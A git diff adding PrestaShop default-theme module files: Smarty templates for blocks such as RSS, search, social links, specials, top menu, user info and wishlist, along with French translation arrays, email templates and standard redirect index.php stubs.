        + + \ No newline at end of file diff --git a/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_voucher.txt b/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_voucher.txt new file mode 100755 index 0000000..9a50477 --- /dev/null +++ b/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_voucher.txt @@ -0,0 +1,9 @@ +Bonjour + +Suite à votre inscription à notre newsletter, nous avons le plaisir de vous offrir le bon de réduction suivant : {discount} + +{shop_name} - {shop_url} + + + +{shop_url} réalisé avec PrestaShop™ \ No newline at end of file diff --git a/themes/default/modules/blockpopupnewsletter/mails/index.php b/themes/default/modules/blockpopupnewsletter/mails/index.php new file mode 100755 index 0000000..6f5ff3b --- /dev/null +++ b/themes/default/modules/blockpopupnewsletter/mails/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/blockpopupnewsletter/translations/en.php b/themes/default/modules/blockpopupnewsletter/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/blockpopupnewsletter/translations/fr.php b/themes/default/modules/blockpopupnewsletter/translations/fr.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/blockrss/blockrss.tpl b/themes/default/modules/blockrss/blockrss.tpl new file mode 100755 index 0000000..71dd3af --- /dev/null +++ b/themes/default/modules/blockrss/blockrss.tpl @@ -0,0 +1,41 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {$title}

        +
        + {if $rss_links} + + {else} +

        {l s='No RSS feed added' mod='blockrss'}

        + {/if} +
        +
        + diff --git a/themes/default/modules/blocksearch/blocksearch.tpl b/themes/default/modules/blocksearch/blocksearch.tpl new file mode 100755 index 0000000..4e5512b --- /dev/null +++ b/themes/default/modules/blocksearch/blocksearch.tpl @@ -0,0 +1,41 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {l s='Search' mod='blocksearch'}

        + +
        +{include file="$self/blocksearch-instantsearch.tpl"} + diff --git a/themes/default/modules/blocksharefb/translations/en.php b/themes/default/modules/blocksharefb/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/blocksharefb/translations/fr.php b/themes/default/modules/blocksharefb/translations/fr.php new file mode 100755 index 0000000..5a73e4a --- /dev/null +++ b/themes/default/modules/blocksharefb/translations/fr.php @@ -0,0 +1,7 @@ +blocksharefb_cbe5bf6cf027e9f9e6cc0e8d725ebfa6'] = 'Bloc Partager sur Facebook'; +$_MODULE['<{blocksharefb}default>blocksharefb_f96f72b5ba39796e728cc55ddd1672cb'] = 'Ajoute un bloc permettant d\'avoir un lien \"Partager sur Facebook\" sur les pages produits.'; +$_MODULE['<{blocksharefb}default>blocksharefb_353005a70db1e1dac3aadedec7596bd7'] = 'Partager sur Facebook'; diff --git a/themes/default/modules/blocksocial/blocksocial.tpl b/themes/default/modules/blocksocial/blocksocial.tpl new file mode 100755 index 0000000..4ffe035 --- /dev/null +++ b/themes/default/modules/blocksocial/blocksocial.tpl @@ -0,0 +1,34 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA + +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        +
          + {if $facebook_url != ''}{/if} + {if $twitter_url != ''}{/if} + {if $rss_url != ''}
        • {/if} + {if $instagram_url != ''}
        • {/if} +
        +
        diff --git a/themes/default/modules/blocksocial/blockspecials.tpl b/themes/default/modules/blocksocial/blockspecials.tpl new file mode 100755 index 0000000..651cd81 --- /dev/null +++ b/themes/default/modules/blocksocial/blockspecials.tpl @@ -0,0 +1,61 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {l s='Specials' mod='blockspecials'}

        +
        + +{if $special} +
          +
        • + {$special.legend|escape:html:'UTF-8'} +
        • +
        • + {if !$PS_CATALOG_MODE} + {if $special.specific_prices} + {assign var='specific_prices' value=$special.specific_prices} + {if $specific_prices.reduction_type == 'percentage' && ($specific_prices.from == $specific_prices.to OR ($smarty.now|date_format:'%Y-%m-%d %H:%M:%S' <= $specific_prices.to && $smarty.now|date_format:'%Y-%m-%d %H:%M:%S' >= $specific_prices.from))} + -{$specific_prices.reduction*100|floatval}% + {/if} + {/if} + {/if} + +

          {$special.name|escape:html:'UTF-8'}

          + {if !$PS_CATALOG_MODE} + {if !$priceDisplay}{displayWtPrice p=$special.price_without_reduction}{else}{displayWtPrice p=$priceWithoutReduction_tax_excl}{/if} + {if !$priceDisplay}{displayWtPrice p=$special.price}{else}{displayWtPrice p=$special.price_tax_exc}{/if} + {/if} +
        • +
        +

        + » {l s='All specials' mod='blockspecials'} +

        +{else} +

        {l s='No specials at this time' mod='blockspecials'}

        +{/if} +
        +
        + \ No newline at end of file diff --git a/themes/default/modules/blocksocial/translations/en.php b/themes/default/modules/blocksocial/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/blocksocial/translations/fr.php b/themes/default/modules/blocksocial/translations/fr.php new file mode 100755 index 0000000..eaf861d --- /dev/null +++ b/themes/default/modules/blocksocial/translations/fr.php @@ -0,0 +1,18 @@ +blocksocial_3c3fcc2aa9705117ce4b589ed5a72853'] = 'Bloc social'; +$_MODULE['<{blocksocial}default>blocksocial_012a4601e8b615cf6aea084a1b334889'] = 'Permet d\'ajouter des informations supplémentaires concernant les réseaux sociaux'; +$_MODULE['<{blocksocial}default>blocksocial_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{blocksocial}default>blocksocial_f95f7cbc540537a1010c5b545eb67339'] = 'URL Facebook :'; +$_MODULE['<{blocksocial}default>blocksocial_e62adc7f2754307e0a31f145e29f6be1'] = 'URL Twitter :'; +$_MODULE['<{blocksocial}default>blocksocial_77e4dcd265e823af4b5d59f6fa23dfa3'] = 'URL du flux RSS :'; +$_MODULE['<{blocksocial}default>blocksocial_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour les paramètres'; +$_MODULE['<{blocksocial}default>blocksocial_d918f99442796e88b6fe5ad32c217f76'] = 'Nous suivre'; +$_MODULE['<{blocksocial}default>blocksocial_d85544fce402c7a2a96a48078edaf203'] = 'Facebook'; +$_MODULE['<{blocksocial}default>blocksocial_2491bc9c7d8731e1ae33124093bc7026'] = 'Twitter'; +$_MODULE['<{blocksocial}default>blocksocial_bf1981220040a8ac147698c85d55334f'] = 'RSS'; +$_MODULE['<{blocksocial}default>blockspecials_d1aa22a3126f04664e0fe3f598994014'] = 'Réductions'; +$_MODULE['<{blocksocial}default>blockspecials_b4f95c1ea534936cc60c6368c225f480'] = 'Toutes les promos'; +$_MODULE['<{blocksocial}default>blockspecials_fd21fcc9fc4c1d5202d6fc11597b3fca'] = 'Pas de réduction en ce moment'; diff --git a/themes/default/modules/blockspecials/blockspecials.tpl b/themes/default/modules/blockspecials/blockspecials.tpl new file mode 100755 index 0000000..651cd81 --- /dev/null +++ b/themes/default/modules/blockspecials/blockspecials.tpl @@ -0,0 +1,61 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {l s='Specials' mod='blockspecials'}

        +
        + +{if $special} +
          +
        • + {$special.legend|escape:html:'UTF-8'} +
        • +
        • + {if !$PS_CATALOG_MODE} + {if $special.specific_prices} + {assign var='specific_prices' value=$special.specific_prices} + {if $specific_prices.reduction_type == 'percentage' && ($specific_prices.from == $specific_prices.to OR ($smarty.now|date_format:'%Y-%m-%d %H:%M:%S' <= $specific_prices.to && $smarty.now|date_format:'%Y-%m-%d %H:%M:%S' >= $specific_prices.from))} + -{$specific_prices.reduction*100|floatval}% + {/if} + {/if} + {/if} + +

          {$special.name|escape:html:'UTF-8'}

          + {if !$PS_CATALOG_MODE} + {if !$priceDisplay}{displayWtPrice p=$special.price_without_reduction}{else}{displayWtPrice p=$priceWithoutReduction_tax_excl}{/if} + {if !$priceDisplay}{displayWtPrice p=$special.price}{else}{displayWtPrice p=$special.price_tax_exc}{/if} + {/if} +
        • +
        +

        + » {l s='All specials' mod='blockspecials'} +

        +{else} +

        {l s='No specials at this time' mod='blockspecials'}

        +{/if} +
        +
        + \ No newline at end of file diff --git a/themes/default/modules/blockstore/blockstore.tpl b/themes/default/modules/blockstore/blockstore.tpl new file mode 100755 index 0000000..2f11399 --- /dev/null +++ b/themes/default/modules/blockstore/blockstore.tpl @@ -0,0 +1,36 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/themes/default/modules/blocksupplier/blocksupplier.tpl b/themes/default/modules/blocksupplier/blocksupplier.tpl new file mode 100755 index 0000000..df4bdb9 --- /dev/null +++ b/themes/default/modules/blocksupplier/blocksupplier.tpl @@ -0,0 +1,59 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {if $display_link_supplier}{/if}{l s='Suppliers' mod='blocksupplier'}{if $display_link_supplier}{/if}

        +
        +{if $suppliers} + {if $text_list} + + {/if} + {if $form_list} +
        +

        + +

        +
        + {/if} +{else} +

        {l s='No supplier' mod='blocksupplier'}

        +{/if} +
        +
        + diff --git a/themes/default/modules/blocktags/blocktags.tpl b/themes/default/modules/blocktags/blocktags.tpl new file mode 100755 index 0000000..9f0275e --- /dev/null +++ b/themes/default/modules/blocktags/blocktags.tpl @@ -0,0 +1,39 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {l s='Tags' mod='blocktags'}

        +

        +{if $tags} + {foreach from=$tags item=tag name=myLoop} + {$tag.name|escape:html:'UTF-8'} + {/foreach} +{else} + {l s='No tags specified yet' mod='blocktags'} +{/if} +

        +
        + diff --git a/themes/default/modules/blocktopmenu/blocktopmenu.tpl b/themes/default/modules/blocktopmenu/blocktopmenu.tpl new file mode 100755 index 0000000..59b8963 --- /dev/null +++ b/themes/default/modules/blocktopmenu/blocktopmenu.tpl @@ -0,0 +1,66 @@ +{if $MENU != ''} +
        + {*if isset($HOOK_MOBILE_HEADER)} +
        + {$shop_name|escape:'htmlall':'UTF-8'} +
        + {/if*} + +
        +
          + {$MENU} + {if $MENU_SEARCH} + + {/if} +
        +
        +
         
        +
        + +{*if isset($HOOK_MOBILE_HEADER)} + +{/if*} +{/if} \ No newline at end of file diff --git a/themes/default/modules/blocktopmenu/translations/en.php b/themes/default/modules/blocktopmenu/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/blocktopmenu/translations/fr.php b/themes/default/modules/blocktopmenu/translations/fr.php new file mode 100755 index 0000000..f3a4a37 --- /dev/null +++ b/themes/default/modules/blocktopmenu/translations/fr.php @@ -0,0 +1,45 @@ +blocktopmenu_e5b7525b4214a759876af4448bd6b87d'] = 'Menu Haut horizontal'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_32932116548ebd718480646747b644a3'] = 'Ajouter un nouveau menu en haut de votre boutique.'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_efc226b17e0532afff43be870bff0de7'] = 'Paramètres mis à jour'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_5d1994bf28899a87795983875a98c2e1'] = 'Impossible de mettre à jour les paramètres'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_c9e57a753f1d6cb2258601432bb07477'] = 'Veuillez remplir le champs \"Lien\"'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_3679e307d4a14646c488a65381de82ea'] = 'Veuillez ajouter un label'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_e8d6809226ab177013e0a26bd2d8b60d'] = 'Veuillez ajouter un label pour le langage par défaut'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_3da9d5745155a430aac6d7de3b6de0c8'] = 'Le lien a été ajouté'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_15772d25000bce9fc3a2a2fd7d41a717'] = 'Le lien a été supprimé'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_d1156d9314813566c02aedc3852bdcab'] = 'le lien a été modifié'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_242e9577826290307cd3e45a259172cc'] = 'les modifications seront appliquées à'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_fb54f3c5992b96d001bb16e8e92d968d'] = 'boutique :'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_540c8f06b80b4ec911505764eb455f4d'] = 'toutes les boutiques'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_9dea4016dbcc290b773ab2fae678aaa8'] = 'Elements'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_c7da501f54544eba6787960200d9efdb'] = 'CMS'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_ec136b444eede3bc85639fac0dd06229'] = 'Fournisseurs'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_c0bd7654d5b278e65f21cf4e9153fdb4'] = 'Fabricants'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_af1b98adf7f686b84cd0b443e022b7a0'] = 'Catégories'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_12a521af593422cd508f7707662c9eb2'] = 'Boutiques'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_068f80c7519d0528fb08e82137a72131'] = 'Produits'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_778118c7dd993db08f704e15efa4a7fa'] = 'Choisissez un ID de produit'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_56e8bf6c54f1638e7bce5a2fcd5b20fe'] = 'Liens du menu'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_ec211f7c20af43e742bf2570c3cb84f9'] = 'Ajouter'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_1063e38cb53d94d386f21227fcd84717'] = 'Supprimer'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_fcd7ab4061bb3846392cc34376902165'] = 'ID du produit'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_97f08a40f22a625d0cbfe03db3349108'] = 'Produit ID'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_8cc149b77eaece54cee2e7e02f40018a'] = 'Barre de recherche'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_627a768dc2d54092c565c5b26c0eb8d8'] = 'Enregistrer'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_9f1b01ac44ff287d5b8ed20ec8ee180b'] = 'Ajouter un lien'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_b021df6aac4654c454f46c77646e745f'] = 'Label'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_97e7c9a7d06eac006a28bf05467fcc8b'] = 'Lien'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_4994a8ffeba4ac3140beb89e8d41f174'] = 'Langue'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_7a115fe2bd8b94ead1550a2da953cf87'] = 'Nouvelle fenêtre'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_a0894d8a58841c4c376594f06c5523f4'] = 'Ajouter'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_814579fdad9baf2cdcac456468265384'] = 'Liste des liens'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_4443702c8a13a65ac66d074b7a82af9a'] = 'ID Lien'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_004bf6c9a40003140292e97330236c53'] = 'Action'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{blocktopmenu}default>blocktopmenu_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; diff --git a/themes/default/modules/blockuserinfo/blockuserinfo.tpl b/themes/default/modules/blockuserinfo/blockuserinfo.tpl new file mode 100755 index 0000000..bd05a15 --- /dev/null +++ b/themes/default/modules/blockuserinfo/blockuserinfo.tpl @@ -0,0 +1,63 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/themes/default/modules/blockuserinfo/translations/en.php b/themes/default/modules/blockuserinfo/translations/en.php new file mode 100755 index 0000000..3e46b99 --- /dev/null +++ b/themes/default/modules/blockuserinfo/translations/en.php @@ -0,0 +1,9 @@ +blockuserinfo_7a839b1d84169948192d1512b16814a1'] = 'My basket '; +$_MODULE['<{blockuserinfo}default>blockuserinfo_ffb7e666a70151215b4c55c6268d7d72'] = 'Newsletter'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_f4fb90a18f0390d83b0c4bbebeb14599'] = 'My account '; +$_MODULE['<{blockuserinfo}default>blockuserinfo_dca4963c5966650520f3b5b8859591cb'] = 'Disconnect'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_04fc0f6ce574d7aab7b0157bcdc846f8'] = 'Connect '; diff --git a/themes/default/modules/blockuserinfo/translations/fr.php b/themes/default/modules/blockuserinfo/translations/fr.php new file mode 100755 index 0000000..042878a --- /dev/null +++ b/themes/default/modules/blockuserinfo/translations/fr.php @@ -0,0 +1,18 @@ +blockuserinfo_a2e9cd952cda8ba167e62b25a496c6c1'] = 'Bloc informations clients'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_970a31aa19d205f92ccfd1913ca04dc0'] = 'Ajoute un bloc avec des liens utiles pour le client (login, déconnexion...)'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_0c3bf3014aafb90201805e45b5e62881'] = 'Voir mon panier'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_a85eba4c6c699122b2bb1387ea4813ad'] = 'Panier :'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_deb10517653c255364175796ace3553f'] = 'produit'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_068f80c7519d0528fb08e82137a72131'] = 'produits'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_9e65b51e82f2a9b9f72ebe3e083582bb'] = '(vide)'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_2cbfb6731610056e1d0aaacde07096c1'] = 'Voir mon compte client'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_a0623b78a5f2cfe415d9dbbd4428ea40'] = 'Votre compte'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_83218ac34c1834c26781fe4bde918ee4'] = 'Bienvenue'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_4b877ba8588b19f1b278510bf2b57ebb'] = 'Me déconnecter'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_4394c8d8e63c470de62ced3ae85de5ae'] = 'déconnexion'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_b145abfd6b2f88971d725cbd94a5879f'] = 'Identifiez-vous'; +$_MODULE['<{blockuserinfo}default>blockuserinfo_99dea78007133396a7b8ed70578ac6ae'] = 'Identifiez-vous'; diff --git a/themes/default/modules/blockviewed/blockviewed.tpl b/themes/default/modules/blockviewed/blockviewed.tpl new file mode 100755 index 0000000..fe62188 --- /dev/null +++ b/themes/default/modules/blockviewed/blockviewed.tpl @@ -0,0 +1,44 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {l s='Viewed products' mod='blockviewed'}

        +
        + +
        +
        diff --git a/themes/default/modules/blockwishlist/blockwishlist.tpl b/themes/default/modules/blockwishlist/blockwishlist.tpl new file mode 100755 index 0000000..5e2e60c --- /dev/null +++ b/themes/default/modules/blockwishlist/blockwishlist.tpl @@ -0,0 +1,65 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + diff --git a/themes/default/modules/blockwishlist/mails/en/index.php b/themes/default/modules/blockwishlist/mails/en/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/modules/blockwishlist/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/blockwishlist/mails/en/wishlink.html b/themes/default/modules/blockwishlist/mails/en/wishlink.html new file mode 100755 index 0000000..621796e --- /dev/null +++ b/themes/default/modules/blockwishlist/mails/en/wishlink.html @@ -0,0 +1,40 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi,
         
        Message from {shop_name}
         
        {shop_name} invites you to send this link to your friends, so they can see your wishlist {wishlist} :

        {message}
         
        {shop_name} realised with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/blockwishlist/mails/en/wishlink.txt b/themes/default/modules/blockwishlist/mails/en/wishlink.txt new file mode 100755 index 0000000..584a563 --- /dev/null +++ b/themes/default/modules/blockwishlist/mails/en/wishlink.txt @@ -0,0 +1,7 @@ +Hi, + +{shop_name} invites you to send this link to your friends, so they can see your wishlist {wishlist} : + +{message} + +{shop_url} realised by PrestaShopâ„¢ diff --git a/themes/default/modules/blockwishlist/mails/en/wishlist.html b/themes/default/modules/blockwishlist/mails/en/wishlist.html new file mode 100755 index 0000000..6d52374 --- /dev/null +++ b/themes/default/modules/blockwishlist/mails/en/wishlist.html @@ -0,0 +1,40 @@ + + + + + Message from a customer of {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi,
         
        Message from {shop_name}
         
        {firstname} {lastname} indicated you may want to see his/her wishlist {wishlist} :

        {wishlist}
         
        {shop_name} Powered by PrestaShop™
